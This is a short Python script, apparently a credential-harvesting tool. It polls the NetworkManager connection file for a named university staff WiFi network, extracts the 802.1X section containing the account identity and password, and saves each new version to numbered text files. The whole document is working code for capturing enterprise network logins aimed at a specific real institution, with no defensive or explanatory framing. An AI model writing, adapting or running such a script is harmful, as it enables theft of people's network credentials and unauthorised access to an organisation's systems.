import os
j = 0
padding = "                       "
y = ""
x = ""
while True:
	print("\r[*] Listening for changes"+padding)
	try:
		x = open("/etc/NetworkManager/system-connections/NUST-STAFF 1.nmconnection").read()
		start = "[802-1x]"
		end = "[ipv4]"
		x = (x.split(start))[1].split(end)[0]
	except:
		print("\r[*] Can't open file"+padding)
	if "identity" in str(x):
		if not x == y:
			print("\r[*] Found change in file, saving to credschange"+str(j)+".txt")
			f = open("credschange"+str(j)+".txt", "w+")
			f.write(x)
			f.close()
			y = x
			j = j+1